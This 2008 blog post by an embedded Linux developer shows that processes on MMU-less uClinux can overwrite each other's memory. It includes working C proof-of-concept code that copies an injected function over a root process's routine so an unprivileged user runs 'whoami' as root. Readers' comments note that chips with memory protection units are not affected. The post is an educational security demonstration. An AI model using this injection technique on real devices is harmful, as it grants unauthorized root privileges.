Privilege Escalation in uClinux

The main difference between Linux and uClinux is that the latter is designed to work with systems without an MMU (Memory Management Unit). The main benefit of an MMU is that systems that utilise them can provide each process with it’s own virtual address space – by doing so each process is prevented from causing disruption to others.

uClinux systems do not have an MMU, all processes share a common address space and so there is often – but not always (see comments at the end of this post), no protection from processes interfering with each other. The security implications of this are widely known and understood – the applications of uClinux systems are usually such that this isn’t of great concern. However I wanted to see this for myself – I wanted to put the theory in practice and see how easy it is to disrupt another process and to see if privilege escalation can be achieved.

For my investigations I installed MPC Data’s board support package (BSP) on a Reneas RSK+ 7203 development board. The board is based on a nippy SuperH 200Mhz 2A core and provides a host of features including serial, Ethernet, LCD, USB, etc. To speed up the development cycle I also set up an NFS mounted filesystem.

To start, I wanted to see if writing into another process is really that straightforward, my final output is two executables as follows.

process1.c:

#include <stdio.h>

volatile int value = 20;

int main()
{
    printf("%s:Process 1 started with Value %d, &Value = %p\n",
         __FILE__, value, &value);
    while (value == 20)
        ;
    printf("%s:Value is now %d\n", __FILE__, value);
    return 0;
}

process2.c:

#include <stdio.h>

int main()
{
    int *value;
    value = (int *)0xcf04084;

    printf("%s:Value has been set from %d to %d\n", __FILE__, *value, 10);
    *value = 10;

    return 0;
}

The first process displays the value and address of a global variable and waits for it to change – if it does it displays its new value. The variable is a global to reduce the likelihood of it’s address changing too much between runs and is volatile to prevent any optimisation from turning the while loop into a while(1).

The second process is designed to modify the variable in the first process – this code is straightforward, it creates a pointer, points it to our known address (as outputted from the previous process) and modifies the value.

Let’s see what happens when we build and run…

$ sh-linux-gcc -m2e -mb process1.c -elf2flt=s65546 -o process1
$ sh-linux-gcc -m2e -mb process2.c -elf2flt=s65546 -o process2

> ./process1 &
process1.c:Process 1 started with Value 20, &Value = 0xcf04084

> ./process2
process2.c:Value has been set from 20 to 10
process1.c:Value is now 10

Fantastic! Using one process we were able to modify another process’s address space. However, we still haven’t managed to escalate our privileges – my next step is to try and get another process with higher privileges to execute our functions, in theory this can be done with a simple memcpy. This took me a bit longer to get right as I originally intended on searching the address space for known code, perhaps the call site of a printf or a destructor and modify it such that it calls our function instead – however this proved a little more tricky and is something I will come back to.

Take a look at this code:
process3.c:

#include <stdio.h>

void function()
{
    sleep(10);
}

int main()
{
    printf("Function - %p\n", function);
    while (1)
    {
        function();
    }
}

process4.c:

#include <stdio.h>
#include <unistd.h>

void inject()
{
    system("whoami");
}

int main()
{
    memcpy((void *)0xc880dc, inject, (void*)main-(void*)inject);
}


The code describes two processes - The first represents a process that may be running with privileges that we wish to obtain and the second represents a process that will be used to perform our privilege escalation exploit to obtain the privileges of the first. Just like the previous examples process 3 prints the memory address of the function it regularly calls. Likewise the second process uses memcpy to copy it's inject function into the address space of the first process. The idea is that when function is called, our inject code will be executed instead. The inject code simply invokes the whoami executable to print the user running the code.

Let's give it a go...

$ sh-linux-gcc -m2e -mb process3.c -elf2flt=s65546 -o process3
$ sh-linux-gcc -m2e -mb process4.c -elf2flt=s65546 -o process4

root> ./process3 &
60
Function - 0xc8200dc
root> su andy
andy> ./process4
root

It works! As the output shows we start of by running in background our process 3 with root privileges - the process ID is displayed and so is our function address. We then run our process 4 under the 'Andy' user - shortly after executing, the function is called but instead of sleeping our inject call is invoked and whoami successfully prints out 'root' instead of 'andy'. So effectively we have been able to invoke a process with privileges that we are not entitled with, i.e. when logged in as Andy we have executed whoami as root!

However, this is hardly a polished and practical exploit, as we are relying on another process to co-operate and print the key addresses of its source. Additional work would be needed to find the location of suitable and interesting parts. There are a numerous ways of doing this but are beyond the scope of today's post.

It took me quite a few attempts for this to work as it does and still it is not 100% reliable - simply memcpy'ing functions and expecting them to work hides the complexaties of the underlying machine code. Even though our system call was executed correctly adding printf's before or after don't always work - it's a much more complicated picture. Nevertheless we achieved our goal and performed privilege escalation under uClinux (If not with a little help from the exploited executable).

The next steps and perhaps a future post would be to study this further under GDB and see how this can be used in practice on a typical embedded system. [© 2011 embedded-bits.co.uk]

, , , , , , , , ,

About Andrew Murray

Andrew is an experienced commercial Linux developer with a first class degree in Software Engineering and is the founder of Embedded Bits Limited. His day-to-day role fulfils his passion for learning and provides him with plenty of embedded Linux experience including kernel and embedded applications development on a wide variety of platforms. He loves to talk about boot time reduction and has performed a number of presentations on the topic at technical conferences - he has also been successful in achieving sub-second cold boot on Linux based products. Feel free to drop him an email at amurray@embedded-bits.co.uk

3 Responses to “Privilege Escalation in uClinux”

  1. Andy November 7, 2008 at 7:39 pm # Reply

    As an after thought – it’s worth pointing out that whilst uClinux is designed for systems without an MMU, it doesn’t always mean that there are no other memory protection mechanisms in place. Therefore the vulnerability described may not always be present.

    For example the ARM946E-S processor, which is supported by uClinux, doesn’t have an MMU – though it does have a Memory Protection Unit (MPU). Whilst this doesn’t offer all the features of an MMU it does such as translating addresses, it does offer basic memory protection and so prevents a process from writing into another process.

  2. Name (required) November 9, 2008 at 10:09 am # Reply

    yeah … please fix your article as we don’t need another one muddying the waters with “no MMU” always means “no memory protection”.

    btw your code has at least one typo … “voiid” …

  3. Andy November 9, 2008 at 12:10 pm # Reply

    Thanks for the comment and it is a fair point. I’ve updated my wording in the the post slightly to point out to readers that systems without MMU’s often have little protection but is not always the case. I’ve pointed them to this comments section.

    I don’t believe this post harms the image of uClinux – I agree that “no MMU” doesn’t mean “no memory protection” every time. But quite often systems without an MMU do not have any other supported features to provide memory protection. Therefore, system designers that are considering uClinux in their designs should be aware of these considerations.

Leave a Reply